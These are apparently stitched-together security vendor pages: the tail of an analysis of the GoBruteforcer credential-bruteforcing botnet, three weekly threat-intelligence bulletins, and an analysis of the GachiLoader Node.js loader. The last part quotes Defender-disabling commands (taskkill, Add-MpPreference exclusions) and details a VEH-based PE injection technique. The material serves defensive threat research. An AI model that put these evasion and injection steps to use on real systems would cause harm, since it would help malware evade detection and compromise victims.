Private/Non-Internet networks: All RFC1918 private IPv4 ranges are excluded. This covers 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. It also excludes IP addresses in 100.64.0.0/10 (carrier-grade NAT space), the local loopback 127.0.0.0/8, and the non-routed “this network” block 0.0.0.0/8. Similarly, link-local APIPA addresses 169.254.0.0/16 are skipped. None of these are valid targets on the public Internet.
Special reserved ranges: The malware avoids addresses reserved for documentation and testing. For example, it excludes 198.18.0.0/15 (set aside for RFC2544 benchmarking tests). It also broadly filters out multicast ranges by rejecting any address with a first octet ≥ 224 that are not used for regular unicast hosts.
Major cloud provider space: The IP filter also blocks several /8 ranges that are heavily used by Amazon Web Services: 3.0.0.0/8, 15.0.0.0/8, 16.0.0.0/8, 56.0.0.0/8. Cloud environments often have active honeypots and aggressive abuse response; the botnet authors appear to deem these targets as either low-priority or high-risk.
“Sensitive” US government networks: A notable feature is a built-in blacklist of 13 specific /8 blocks historically associated with the U.S. Department of Defense (DoD) and related agencies. These include IP addresses starting with 6, 7, 11, 21, 22, 26, 28, 29, 30, 33, 55, 214, or 215. Such networks (e.g. 6.0.0.0/8 or 30.0.0.0/8) are largely U.S. military addresses. By skipping them, the bot avoids drawing unnecessary attention and likely sidesteps government-run honeypots and sensors, reducing the chances of the botnet being monitored or disrupted.
Bruteforce Tasks
Each bruteforce task begins with a 2-second timeout port probe to verify that the target service is reachable. The malware can check FTP (21/tcp), PostgreSQL (5432/tcp), phpMyAdmin (HTTP on 80/tcp), and MySQL (3306/tcp). The task only proceeds with testing credentials if the probe succeeds.
All bruteforce attempts use unencrypted connections. This approach misses targets that enforce encryption (e.g., FTPS, HTTPS-only phpMyAdmin, or MySQL/PostgreSQL with mandatory TLS), but the operators likely judge the plaintext exposure pool is large enough to justify the speed and simplicity gains.
Successful bruteforce hits are exfiltrated via a plain HTTP GET request to the C2’s /pst endpoint (often on port 9090), with details encoded in the query string:
i – target (IP or URL).
c – service code (1 – for pma, 2 – for mysql, 3 – for ftp, 4 – for postgres).
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
FTP
Unlike the other protocols, FTP does not rely on C2-provided credentials. The malware binary includes a hardcoded list of 22 username:password pairs that it always uses for FTP bruteforcing. These appear to be commonly used or default FTP accounts:
It’s important to note that the list of credentials received from the C2 server is completely ignored. Given that the C2 server transmits a list of credentials for bruteforce testing regardless of the selected mode, we can conclude that the malware developers made a mistake, and this behavior is most likely a bug.
The order of 22 built-in credentials is randomized for each run. The malware makes a copy of the built-in list and calls rand.Shuffle. After shuffling, it inserts the "trash:trashh" entry at the top of the list. This means that for every target IP, the order of the real credentials is different, but the first attempt is always the "trash" user with password "trashh".
Upon a successful FTP login, the malware reports the found username and password pair to its C2. It is noteworthy that if the credential "trash:trashh" succeeded, the malware explicitly suppresses reporting. After any success (trash or otherwise), the FTP bruteforce thread exits immediately without attempting any further passwords on that host.
The presence of the odd "trash:trashh" credential (which is not a default in any known FTP server) suggests it is a deliberate sentinel by the attackers. It may serve as a kill-switch or fast-exit for machines under the attackers’ control. If they pre-install an FTP user “trash” with password “trashh” on certain systems, the bot immediately finds it and stops scanning that machine.
MySQL
For MySQL bruteforcing, the list of credentials is drawn from the bot’s global list, which is populated via C2 commands. If the bot fails to fetch instructions from C2 on startup, it falls back to a built-in default list containing a few very common MySQL credentials as described above.
Before usage, the credential list is copied and shuffled so that each worker iterates through the credentials in a random order.
The malware uses Go’s MySQL driver (database/sql with the MySQL connector) for attempted logins. For each credential in the list, it constructs a DSN (Data Source Name) string with the format:
The first accepted login short-circuits continues the attempt and is reported to the C2 server.
Postgres
Bruteforcing PostgreSQL (port 5432) follows almost the same pattern as MySQL, with minor differences primarily in the connection string and protocol specifics.
It uses the same credential list provided by C2. Just like MySQL, the list is randomized per worker.
For each username:password, the malware constructs a Postgres connection URL of the form:
Notably, it appends sslmode=disable to force a plaintext connection.
phpMyAdmin
The phpMyAdmin bruteforce logic is more complex, as it involves navigating a web interface on HTTP. PhpMyAdmin (PMA) is a web-based MySQL administration panel, typically accessed via a URL path on a web server. The malware’s PMA module is designed to find these panels on targets and then attempt to log in through the HTML form.
The bot only proceeds if the target’s TCP/80 (HTTP) port is open. Interestingly, it does not appear to try HTTPS/443 in this variant – the code explicitly checks port 80.
The malware contains a large built-in list of possible phpMyAdmin installation paths (directory names). In our sample, this list has approximately 80 entries covering multiple common directory variants. Examples include standard names like /phpMyAdmin/ or /phpmyadmin/, numeric versions like /phpMyAdmin-5.2.1/, obscured names like /db/admin/ or /mysql/pma/, and even WordPress plugin paths like /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/ (87 different paths in total). This comprehensive list suggests the attackers want to find PMA even if the administrator renamed the folder or installed a specific version.
Figure 15 – The deobfuscated list of PhpMyAdmin paths found in the sample (partial).
For each candidate path, the malware tries to detect if phpMyAdmin is present before attempting a login. It creates an HTTP client (with a cookie jar) and sends a GET request to: http://<ip>/<base>/index.php?lang=en. The custom User-Agent is set to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3k (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36, likely to blend in as normal traffic.
When a response is received, the HTML is loaded and the code checks for indicators of a phpMyAdmin login page:
Extracts the page <title> and looks for the substring “phpMyAdmin” (to confirm this is likely a PMA page).
Ensures the title does not contain “setup” (to avoid confusing the setup page or other admin pages with the actual login).
Searches the page body for known PMA UI elements. In particular, it looks for either the “pmahomme” theme directory, or references to phpmyadmin.css, or navigation.php in the HTML. These are artifacts of phpMyAdmin’s login page (for example, PMA’s default theme is named "pmahomme", and navigation.php is a frame or script loaded post-login in older versions). If any of those markers are found, it sets a flag so that the page content “looks like” phpMyAdmin.
When a likely phpMyAdmin page is found, the malware next tries to determine the PMA version (or at least a major version hint) from the HTML. It searches the HTML for a string like "codemirror.css?v=X.Y.Z" and if found, parses out the version number that follows v=. This typically yields a numeric value (for example, “5.2.1”).
The bruteforce method depends on both the page content and this version.
For versions < 4.9, it uses a GET-based login attempt method.
For for newer versions, it uses a POST-based login method.
Bruteforce via HTTP GET (for older versions, <4.9)
If the bot chooses the GET method, it attempts to log in by sending the credentials as URL parameters. It appends ?lang=en&pma_username=<user>&pma_password=<pass> to the same login URL and issues a GET request for each credential. The code considers the login successful if the resulting page contains "Welcome to" or the <title> contains “phpMyAdmin 2/3/4/5” markers.
If using the POST method (for newer versions), the malware must handle an HTML login form. The steps are:
Get CSRF token: First, it fetches the login page (if not already fetched) to retrieve a CSRF token. The bot parses the HTML for an <input name="token" value="<tokenval>" /> and stores the token value if present. (phpMyAdmin’s login form includes a hidden token in newer versions to prevent CSRF; the malware grabs it to include in the login POST.)
Submit credentials: The bot prepares an HTTP POST request to the same index.php?lang=en URL. It sets the form fields pma_username=<user>, pma_password=<pass>, server=1 (selecting the first server, in case PMA is managing multiple MySQL servers), and includes the token=<tokenval> if it obtained one. It sends this request with the appropriate Content-Type header and using the same User-Agent. The timeout for the HTTP client remains 3 seconds, so each POST is quick.
Check result: After each POST attempt, the malware reads the response body. It then uses the same criteria as the GET method to decide if the login succeeded: looking for “Welcome to” in the page or certain phpMyAdmin version strings in the title. If those are found, it deems the credential valid and sends a report with the IP, creds, and base path. It then stops further attempts.
If the credential was not successful, it continues with the next username:password, reusing the same token if the token doesn’t change. (The code grabs the token once per session; it does not fetch a new token for each attempt, which might be a weakness if the token expires or is invalidated after a login failure. However, many versions of PMA do not invalidate the token on wrong password, so this approach could still work.)
Scanning Performance
GoBruteforcer runs as a steady, architecture-tuned worker pool. The pool size is large enough to pipeline many attempts but capped to avoid runaway threads or saturating the host. In the wild, a single x86-64 host sustained roughly 20 IP/s during an FTP campaign, showing the scanner spends most cycles failing fast on silent hosts. That design keeps throughput high while keeping per-host bandwidth low: In observed FTP scans, outbound traffic remained under approximately 64 kb/s and inbound under approximately 32 kb/s.
Conclusion
GoBruteforcer exemplifies a broader and persistent problem: The combination of exposed infrastructure, weak credentials, and increasingly automated tools. While the botnet itself is technically straightforward, its operators benefit from the vast number of misconfigured services that remain online. As generative AI further lowers the barrier to server deployment, the risk of insecure defaults will likely increase. Addressing this class of threats requires not only detection and takedown efforts, but also renewed attention to secure configuration practices, credential hygiene, and continuous exposure management.
GoBruteforcer is a perfect example of how threat actors use “low hanging fruit” such as seemingly unsophisticated tactics (weak password attacks, random IP addresses) to compromise large numbers of internet-facing systems with relatively little effort. This reinforces the need for organizations to monitor and secure their internet-facing services and enforce robust authentication methods.
Protection
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.
For the latest discoveries in cyber research for the week of 5th January, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Two US banks, Artisans’ Bank and VeraBank, disclosed that customer data was exposed in an August ransomware attack on their vendor, Marquis Software. The vendor was breached via SonicWall vulnerability, and while the banks’ own systems were not compromised, researchers estimate the incident may have affected in total up to 1.35 million people across dozens of financial institutions.
Romania’s largest coal-based power producer, Oltenia Energy Complex, has faced a ransomware attack attributed to the Gentlemen group. The company said files were encrypted and Enterprise Resource Planning systems, email, and the website were disrupted, partially affecting operations, while power supply remained stable and recovery continues.
Emurasoft, maker of EmEditor software, reported a website compromise that redirected the homepage download button to a fake installer for 4 days. The installer deployed infostealer malware that harvested credentials and added a rogue extension enabling remote control and cryptocurrency swapping.
US-based Sedgwick Government Solutions, which manages claims, workforce health, risk, and productivity for government agencies and federal employees, has experienced a cybersecurity incident. The incident was limited to an isolated file transfer system, with no evidence of access to claims servers. The company notified law enforcement and clients after the TridentLocker ransomware group claimed an attack on December 31.
Korean Air, South Korean airline, has suffered a data breach via KC&D Service, a vendor managing inflight catering and duty free. The incident exposed personal data of roughly 30,000 employees, including names and bank account numbers, while customer information was not affected. Cl0p claimed responsibility and reportedly exploited an Oracle E-Business Suite flaw.
Check Point IPS, Threat Emulation and Harmony Endpoint provide protection against this threat(Oracle Multiple Products Remote Code Execution; Ransomware.Win.Clop; Ransomware.Wins.Clop; Ransomware.Wins.Clop.ta.*)
Trust Wallet, a cryptocurrency wallet provider, has disclosed a second Shai-Hulud supply-chain compromise of its Chrome extension, resulting in approximately $8.5 million in losses. Using a leaked Chrome store key, attackers published tampered v2.68 which exfiltrated wallet recovery phrases upon unlock.
European Space Agency (ESA), has confirmed a cybersecurity incident affecting a very small number of external servers outside its corporate network. ESA began forensic analysis and secured potentially affected devices after a threat actor claimed to have stolen 200GB of source code and access credentials in mid-December.
VULNERABILITIES AND PATCHES
Researchers highlighted CVE-2025-14346, a critical missing-authentication flaw in WHILL Model C2 and Model F power wheelchairs that enables attackers within Bluetooth range to take control. CISA urged immediate mitigations, warning that compromise could manipulate wheelchair movements and cause physical harm in healthcare and public settings. No public exploitation has been reported yet.
Security researchers disclosed CVE-2025-20700, CVE-2025-20701 (CVSS 8.8) and CVE-2025-20702 (CVSS 9.6) affecting Airoha Bluetooth SoCs. The flaws enabling unauthenticated access to the RACE protocol, arbitrary memory operations, and nearby takeover of headphones to extract link keys and impersonate devices to access paired smartphones.
A patch has been released for CVE-2025-47411, an important privilege escalation in Apache StreamPipes 0.69.0 to 0.97.0 caused by flawed user ID creation enabling JWT token manipulation. Attackers can impersonate existing administrators to gain full control.
IBM API Connect, an enterprise API management platform, is affected by a critical authentication bypass vulnerability (CVE-2025-13915, CVSS 9.8) enabling remote unauthorized access without credentials. The flaw impacts versions 10.0.8.0 through 10.0.8.5 and 10.0.11.0, with patches and iFixes available; no exploitation has been reported.
THREAT INTELLIGENCE REPORTS
Researchers exposed a new APT36 cyber espionage campaign targeting Indian government, academic, and strategic institutions. The Pakistan affiliated group delivers ZIP attachments disguised as PDFs that install ReadOnly and WriteOnly malware, which enables remote control, steals data, monitors clipboards, captures screenshots, and maintains access.
DarkSpectre, a Chinese affiliated threat actor, has compromised 8.8 million Chrome, Edge, and Firefox users globally via campaigns including ShadyPanda, Zoom Stealer, and GhostPoster. The group employs malicious browser extensions with tactics such as time-bomb activation, dormant sleepers, PNG steganography, and heavy JavaScript obfuscation, exfiltrating corporate meeting data while impersonating videoconferencing tools and abusing browser platform permissions.
Security researchers discovered two Chrome Web Store extensions, Chat GPT for Chrome with GPT-5 and AI Sidebar, that exfiltrate ChatGPT and DeepSeek chat histories, along with users’ browsing activity, every 30 minutes. The extensions collectively have over 900,000 installations, and one holds a Google Featured badge.
Researchers identified the rapid expansion of the Kimwolf botnet, which has infected more than 2 million devices globally by abusing residential proxy networks to reach local devices behind home routers. The campaign leverages insecure Android TV boxes and digital photo frames to enable DDoS, ad fraud, account takeover, and mass scraping.
For the latest discoveries in cyber research for the week of 29th December, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Romanian Waters, the country’s national water management authority, was hit by a ransomware attack that resulted in nearly 1,000 computer systems across national and regional offices being encrypted. The attack affected geographic information systems, databases, email, web servers, and Windows workstations. Operational technology controlling water infrastructure was not impacted, and no data leakage has been reported, but key IT services were disrupted across the organization.
France’s postal service La Poste has suffered a cyber-attack that disrupted key digital systems, impacting online parcel tracking, mail distribution, and banking services for customers of both the postal service and La Banque Postale. Some services were temporarily unavailable, with no evidence of data compromise. The attack was claimed by the pro-Russian hacktivist group NoName057(16).
Insurance giant Aflac has confirmed a data breach they experienced in June that resulted in the theft of sensitive files containing insurance claims, health data and Social Security numbers. The breach affected personal details of approximately 22.7 million individuals in its US business. The attack has been attributed to Scattered Spider threat group.
Check Point Harmony Endpoint provides protection against this threat.
Japan’s leading carmaker Nissan Motor Corporation has acknowledged a data breach that resulted in the exposure of personal information for approximately 21,000 customers from Nissan Fukuoka Sales Corporation including names, addresses, phone numbers, email addresses, and sales operation data. The incident occurred after unauthorized access to Red Hat data servers led to the leak, but financial data was not affected. The Crimson Collective threat actor claimed responsibility for the initial breach, with ShinyHunters later hosting samples of the stolen data.
Trust Wallet, a popular non-custodial cryptocurrency wallet, has disclosed a cyber-attack involving a compromised Chrome extension update. The attack exfiltrated sensitive wallet data, including seed phrases, to a malicious domain, resulting in at least $7 million in losses. The incident primarily affected users of Chrome extension version 2.68.0, allowing attackers to drain wallets.
Ubisoft’s live service game Rainbow Six Siege (R6) has confirmed a cyber-attack in which threat actors abused internal systems to manipulate bans, unlock all cosmetics and developer-only skins, and distribute around $13.33 million worth of in-game currency worldwide.
Baker University has encountered a data breach that resulted in attackers accessing its network and stealing sensitive information belongs to 53,624 students, alumni, staff, and affiliates of the university, such as names, Social Security numbers, financial account details, and medical records.
VULNERABILITIES AND PATCHES
A high-severity memory-read vulnerability, CVE-2025-14847, dubbed “MongoBleed” has been identified in multiple MongoDB Server versions, allowing unauthenticated remote attackers to exploit a zlib implementation flaw and potentially access uninitialized heap memory. The issue, caused by improper handling of length parameter inconsistency (CWE-130), may permit arbitrary code execution and system compromise. Affected versions include MongoDB 4.0 through 8.2.3.
Details on a critical serialization injection vulnerability in LangChain Core were disclosed. CVE-2025-68664 (CVSS 9.3) affects langchain-core, where unescaped user-controlled dictionaries with lc keys are treated as trusted objects during deserialization, enabling secret extraction, prompt injection, and potentially arbitrary code execution.
A critical buffer overflow vulnerability, CVE-2025-68615, in Net-SNMP’s snmptrapd daemon can be triggered remotely via a specially crafted packet. The issue has a CVSS score of 9.8 and may allow unauthenticated attackers to achieve remote code execution or cause service crashes. Patches are available, and the vulnerability is addressed in Net-SNMP versions 5.9.5 and 5.10.pre2.
THREAT INTELLIGENCE REPORTS
Check Point researchers describe a phishing campaign in which attackers abused Google Cloud Application Integration’s “Send Email” workflow to send over 9,000 spoofed Google notification emails from a Google address. The messages targeted manufacturing, technology, and finance sectors and used multi-step redirection through Google domains to lead victims to a Microsoft-themed credential harvesting site. Most victims located in the US, Asia-Pacific, and Europe.
Researchers uncovered a two-year Evasive Panda campaign using adversary-in-the-middle DNS poisoning to deliver MgBot via fake updaters and stealthy loaders. The chain used multi-stage shellcode, hybrid encryption, and DLL sideloading to run MgBot in memory, with victim-specific payloads tied to machines via DPAPI and RC5. Attackers poisoned legitimate domains, injected into signed system processes for persistence, and updated configs with hardcoded C2s.
Check Point Harmony Endpoint provides protection against this threat (Infostealer.Win.MgBot)
A Webrat campaign leveraged fake GitHub repositories masquerading as exploit and proof-of-concept code for high-severity CVEs, targeting gamers, students, and inexperienced security researchers. The attack uses droppers to elevate privileges, disable Windows Defender, and deploy the Webrat backdoor, enabling remote control, credential theft, keylogging, and device surveillance.
Researchers found lotusbail, a malicious npm package masquerading as a WhatsApp Web API library that intercepts messages and steals session/auth data, contacts, and media via WebSocket tampering and device-pairing hijack. Separately, 14 malicious NuGet packages were found redirecting crypto funds and stealing Google Ads OAuth tokens.
For the latest discoveries in cyber research for the week of 22nd December, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
An adult content platform PornHub has disclosed a data breach linked to analytics provider Mixpanel. The breach exposed more than 200 million records related to Premium users, including email addresses, search, watch, and download histories, locations, and associated video details collected prior to 2021. Pornhub stated that no passwords, payment information, or government-issued IDs were compromised. OpenAI also acknowledged a related incident that was caused by compromise of Mixpanel. The breach has been attributed to the ShinyHunters extortion group.
SoundCloud, an online audio streaming platform, has confirmed a cyber attack that resulted in threat actors gaining unauthorized access to a database containing users’ email addresses and public profile information. The breach affected approximately 20% of SoundCloud’s users, which might impact 28 million accounts, and caused outages and VPN connection issues. The ShinyHunters extortion gang has claimed responsibility for this attack.
Autoparts giant LKQ has acknowledged a cyberattack tied to the Oracle E-Business Suite compromise. The company said personal data of over 9,070 people, including Employer Identification Numbers and Social Security numbers, was exposed.
Check Point IPS provides protection against this threat (Oracle Multiple Products Remote Code Execution)
DXS International, a British NHS technology supplier, has encountered a cyber-attack on December 14th that resulted in unauthorized access to its internal office servers, affecting internal systems but not disrupting clinical services. It remains unclear whether NHS patient data was compromised.
The University of Sydney has suffered a data breach that resulted in hackers gaining access to an online coding repository and stealing files containing personal information of staff and students. Over 27,000 individuals were affected, including names, dates of birth, phone numbers, home addresses, and job details for current and former staff, students, alumni, and affiliates.
Petróleos de Venezuela (PDVSA), Venezuela’s state oil company, has experienced a cyberattack that resulted in disruptions to its export operations and offline systems managing the country’s main crude terminal. The incident affected administrative and operational network systems, leading to a halt in cargo deliveries. The scope of data or user information compromised has not been disclosed.
Denmark’s water utility has experienced a cyber attack that resulted in a disruption of critical water infrastructure systems. The attack impacted operational control systems supporting essential services, forming part of a broader campaign of attacks targeting Denmark’s critical infrastructure and electoral environment. The Danish Defence Intelligence Service attributed the incident to the Russia affiliated group Z-Pentest.
VULNERABILITIES AND PATCHES
Critical severity vulnerability with a CVSS score of 10.0 was disclosed in HPE OneView Software. The flaw, CVE-2025-37164, allows unauthenticated remote code execution and affects all versions prior to 11.00, including versions 5.20 through 10.20. Successful exploitation could enable a remote attacker to execute arbitrary code on affected centralized IT infrastructure management systems.
Check Point IPS provides protection against this threat (HPE OneView Remote Code Execution (CVE-2025-37164))
A critical remote code execution vulnerability, CVE-2025-14733, in WatchGuard Firebox firewalls running Fireware OS 11.x and later is being actively exploited. The out-of-bounds write flaw enables unauthenticated remote code execution on unpatched devices with IKEv2, without user interaction.
Researchers spotted active exploitation of CVE-2025-59718 and CVE-2025-59719, critical authentication bypass flaws in Fortinet FortiGate, FortiOS, FortiWeb, FortiProxy, and FortiSwitchManager. Attackers can log in without credentials and export full device configurations, risking cracked passwords.
THREAT INTELLIGENCE REPORTS
Check Point Research revealed a sophisticated wave of attacks attributed to the Chinese threat actor Ink Dragon, which targets European governments while continuing campaigns in Southeast Asia and South America. The threat actor converts compromised IIS servers into relay nodes with ShadowPad, exploits predictable configuration keys for access, and deploys a new FinalDraft backdoor for exfiltration and lateral movement.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research analyzed GachiLoader, a Node.js–based malware loader observed in a campaign linked to the YouTube Ghost Network. The campaign is notable for extensive obfuscation and a previously undocumented PE injection technique. GachiLoader deploys a second-stage loader, Kidkadi, which abuses Vectored Exception Handling (VEH) in a novel method, dubbed Vectored Overloading, to load its malicious payload.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research noticed a surge in darknet campaigns recruiting insiders at banks, crypto exchanges, telecoms, and major tech firms to sell access and data. Listings advertise payouts of $3,000 to $15,000, offer datasets like 37 million records for $25,000, and solicit telecom staff for SIM swapping to bypass two-factor authentication.
Check Point researchers updated on a global surge in AI-driven holiday scams across phishing, fake retail sites, and social media giveaways. They recorded 33,502 phishing emails in two weeks and over 10,000 daily ads impersonating delivery brands like Royal Mail, FedEx, UPS and DPD, while AI chatbots help fraudulent stores appear credible.
The YouTube Ghost Network is a malware distribution network that uses compromised accounts to promote malicious videos and spread malware, such as infostealers.
One of the observed campaigns uses a new, heavily obfuscated loader malware written in Node.js, which we call GachiLoader.
To make it easier to analyze obfuscated Node.js malware, Check Point Research developed an open-source Node.js tracer, which significantly reduces the effort needed to analyze this type of malware and extract configurations.
One variant of GachiLoader deploys a second stage malware, Kidkadi, that implements a novel technique for Portable Executable (PE) injection. This technique loads a legitimate DLL and abuses Vectored Exception Handling to replace it on-the-fly with a malicious payload.
Introduction
In a previous publication, we examined the YouTube Ghost Network, a coordinated collection of compromised accounts that abuse the platform to promote malware. In our current research, we analyze one specific campaign of this network, which stood out as the deployed malware implements a previously undocumented PE injection method which abuses Vectored Exception Handling to load its malicious payload.
Campaign Overview
Similar to campaigns we previously documented, the infection chain begins with compromised accounts that host videos designed to lure viewers into downloading malware from an external file hosting platform. The theme of this campaign are game cheats and various cracked software:
Figure 1 — Example Compromised Account starts sharing malicious game cheat advertisements
The video’s descriptions then provide a password for the archive containing the malware, as well as instructions that usually include disabling Windows Defender.
We identified more than a hundred videos belonging to this campaign, which collected approximately 220.000 views. The videos were spread across 39 compromised accounts, with the first video uploaded on December 22, 2024. This means that this campaign has been running for more than 9 months. After we reported these videos to YouTube, most have been taken offline, although new videos will continue to appear on newly compromised accounts.
Since we started monitoring this specific campaign, it deployed the Rhadamanthys infostealer as a final payload, which is distributed through a custom loader which we call GachiLoader.
GachiLoader
GachiLoader is a heavily obfuscated Node.js JavaScript malware used to deploy additional payloads to an infected machine. Node.js is one of a long line of threat actors always adapt their arsenal using non-traditional programming languages and platforms adapted by threat actors in their quest to spread malware.
As obfuscated JavaScript requires a lot of time and effort to manually deobfuscate, we developed a tracer for Node.js scripts to dynamically analyze this type of malware, defeat common anti-analysis tricks and significantly reduce the manual analysis effort. This tool is not only useful for GachiLoader, but is useful for anyone analyzing heavily obfuscated Node.js malware. Therefore, we decided to share it with the research community here:
Some of the analyzed GachiLoader samples drop a second-stage loader, which we call Kidkadi. This loader is particularly interesting, as it implements a novel technique for PE injection, which tricks the Windows loader into loading a malicious PE from memory instead of a legitimate DLL. We analyzed this technique, which we call Vectored Overloading and reimplemented it in a Proof-of-Concept (PoC) shared below.
Technical Analysis
GachiLoader’s JavaScript module is bundled into a self-contained executable, using the nexe packer, with sizes roughly between 60 and 90 MB. nexe is an open-source project, that compiles a Node.js application into a single executable file, bundled with a Node.js runtime, so that the file can run on a host without Node.js installed. While the size of the executable is quite big, it isn’t suspicious as the victim expects to receive a software package. The tool nexe_unpacker can be used to extract the obfuscated JavaScript source code from the PE.
To avoid analysis by a security researcher or an automated sandbox, the GachiLoader JavaScript module employs several anti-VM and anti-analysis checks:
Checks if the total amount of RAM is at least 4GB
Checks if at least 2 CPU cores are available
Compares the username against a list of usernames, that can be associated with various sandboxes or analysis systems (see Appendix A for a list of all names).
Checks the hostname against a similar list of hostnames (see Appendix B for a list of all hostnames).
Probes the running programs and compares against a list of programs, such as analysis tools, sandbox indicators or common programs running on VMs (see Appendix C for a list of all process names).
The malware then proceeds to run several PowerShell commands to enumerate the system resources and capabilities over WMI .
Check if at least one port connector object exists: (Get-WmiObject Win32_PortConnector).Count
Get drive manufacturers and compare against a blacklist: Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model (See Appendix D for a list of all drive manufacturers).
Resolve video controllers via Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name, and check the names against a blacklist associated with VM environments (See Appendix E for a list of all video controller names).
If any of these checks indicate a virtual machine, sandbox or analysis environment the malware enters a loop of sending HTTP GET requests to benign websites such as linkedin.com, grok.com, whatsapp.com or twitter.com :
Figure 3 — Endless loop of GET requests when a lab environment is detected
Finally, to avoid running multiple times in a short period of time, a mutex file with a random-per-sample name and the .lock extension is created in the %TEMP% directory on running for the first time. If this file already exists or was modified within the last 5 minutes, the program terminates.
We were able to easily bypass all of these anti-analysis with Node.js Tracer: the tool hooks into the respective methods and spoofs the results to the caller, in this case the malware, allowing the script to run and expose its malicious actions:
Figure 4 — Anti-Analysis Checks bypassed with Node.js Tracer
Privilege Elevation via UAC Prompt
If the malware decides that the environment is not that a sandbox, it then checks if it is running in an elevated context by running net session , a command that is expected to fail if run by a non-administrative user. If the command fails, the malware tries to restart itself in an elevated context using the following PowerShell command:
While this triggers a UAC prompt, that prompt is likely to be accepted by the victim, as they expect to run an installer for some sort of software, which usually requires administrative privileges.
Defense Evasion
To avoid detections of subsequent payloads, the malware attempts to kill Windows Defender’s SecHealthUI.exe process by running taskkill /F /IM SecHealthUI.exe and adds Defender exclusions via Add-MpPreference -ExclusionPath for the following paths:
C:\Users\
C:\ProgramData\
C:\Windows\
For all other existing drives, at the root (e.g. D:\ )
In addition, an exclusion for *.sys files is added via Add-MpPreference -ExclusionExtension '.sys', although we have not observed any *.sys files being dropped by the analyzed samples.
Payload Delivery and Execution
To retrieve the next stage’s payload, the malware comes in two variants.
One variant gets the payload from a remote URL
The other variant drops another loader, kidkadi.node, which loads the final payload using the Vectored Overloading method. This payload is embedded in the loader’s JavaScript source.
First Variant – Remote Payload
Figure 5 — First GachiLoader Variant loading a Remote Payload
GachiLoader first obtains information about the host it is running on, such as antivirus products and the OS version, and sends them via a POST request to the /log endpoint of its C2 (Command and Control) addresses. The samples all have multiple C2 addresses embedded for redundancy and try out each one in succession, as we saw when tracing the calls through our tracer:
Figure 6 — C2 Communication Traced via Node.js Tracer
Next, a GET request to the /richfamily/<key> endpoint (where <key> is a value unique to each sample) with the X-Secret: gachifamily header gets the URL of the final payload to download, encoded in Base64. This final payload can only be retrieved if using the correct X-Secret header again – this time using a unique key embedded in the binary, e.g. X-Secret: 5FZQY1gYj0UKw4ZC99d1oNYR8LvTPtrfN357Eh5gmRvsMaPYgXtMxRXpMb2bTFOb2h2HqMnvUKT9CUpj9864gckmPUzf9uLIIU9. Otherwise, the web server returns a Forbidden error.
The final payload is then downloaded to the %TEMP% directory and saved with a random name, mimicking legitimate software such as KeePass.exe, GoogleDrive.exe , UnrealEngine.exe or others which contain the Rhadamanthys infostealer, packed and protected with VMProtect or Themida.
Second Variant – Kidkadi
The second variant we observed in the wild did not reach out to a C2 server to get the second payload, but instead had an embedded payload which is executed through another loader that is dropped to disk under %TEMP% as kidkadi.node:
Figure 7 — Second Variant of GachiLoader dropping Kidkadi
.node files are native addons for Node.js, which are essentially just DLLs that can be called from Node.js code via dlopen. Therefore, they can be used by developers whenever the Node-API does not expose sufficient functionality.
The malware exposes a function for Node.js to call, where the name of the method differs across samples. In some cases, the name as well as the error messages in some samples are of Russian origin:
Figure 8 — Exposing a function to the JavaScript code
The loader passes the payload PE as a binary buffer to Kidkadi through this exposed function, which then runs this payload via reflective PE loading. We found that this loader uses a novel spin on Module Overloading, abusing Vectored Exception Handlers (VEHs) to trick the Windows operating system to run the final payload, when invoking LoadLibrary to load an arbitrary DLL. This technique, not yet documented, shows that the author has a decent understanding of Windows internals. We named this method Vectored Overloading.
PE Loading via Vectored Overloading
The malware first creates a new section with SEC_IMAGE from the legitimate wmp.dll, a DLL used by Windows Media Player. It then overwrites this section with the content of the payload (the PE to be loaded) and maps a view of that section into the process via NtMapViewOfSection. The PE’s sections are then copied into memory one by one and relocations as well as the correct protections are applied:
Figure 9 — PE mapper
This results in a view of the malicious PE, mapped to the process, which is backed by the legitimate DLL wmp.dll. This section view is what the Windows loader (meaning ntdll!Ldr*) will be tricked into loading later on.
Since the Windows loader, called via LoadLibrary, does not load arbitrary PEs, but only those that have DLL characteristics, the Characteristics of the FileHeader are set to IMAGE_FILE_DLL , if the payload is not a DLL. Additionally, the entry point is zeroed out, likely to avoid the loader calling an entry point that is not that of a DLL. If the payload is a DLL, the header is not changed.
Figure 10 — Check and update FileHeader Characteristics
Afterwards, the malware registers a Vectored Exception Handler (VEH).
VEHs are user-mode callbacks that are invoked by the OS when an exception occurs. A common malware technique abusing VEHs is to register a hardware breakpoint on a specific instruction, which triggers an exception whenever this instruction is reached. This exception is then handled by the VEH, which can intercept the call and, for example, change the parameters. This essentially allows hooking functions without patching memory, such as when using classic trampoline hooks.
In this case, the hardware breakpoint (HWBP) is set on NtOpenSection :
Figure 11 — Setting a hardware breakpoint on NtOpenSection
The malware then loads amsi.dll via LoadLibrary , which kicks off the injection:
Figure 12 — Loading the target library and removing the exception handler
A call to LoadLibrary internally ends up in the Windows loader creating a section object of the target DLL to load, which is opened through a call to NtOpenSection . This triggers the hardware breakpoint, and subsequently the VEH, which were registered earlier. This is where the main injection logic is implemented.
To make the loader map the malicious PE instead of the actual amsi.dll section, the section object pointing to amsi.dll is swapped with the malicious payload section from earlier. The VEH simply places the section handle created earlier on the stack position that corresponds to the [out] PHANDLE SectionHandle argument of NtOpenSection. The VEH then advances the instruction pointer eip to the ret instruction and resumes execution. This skips the actual call to the kernel while still giving back a valid handle, essentially emulatingNtOpenSection:
Figure 13 — Skipping the call to NtOpenSection, replacing the expected output parameter with the SectionHandle pointing to the malicious payload
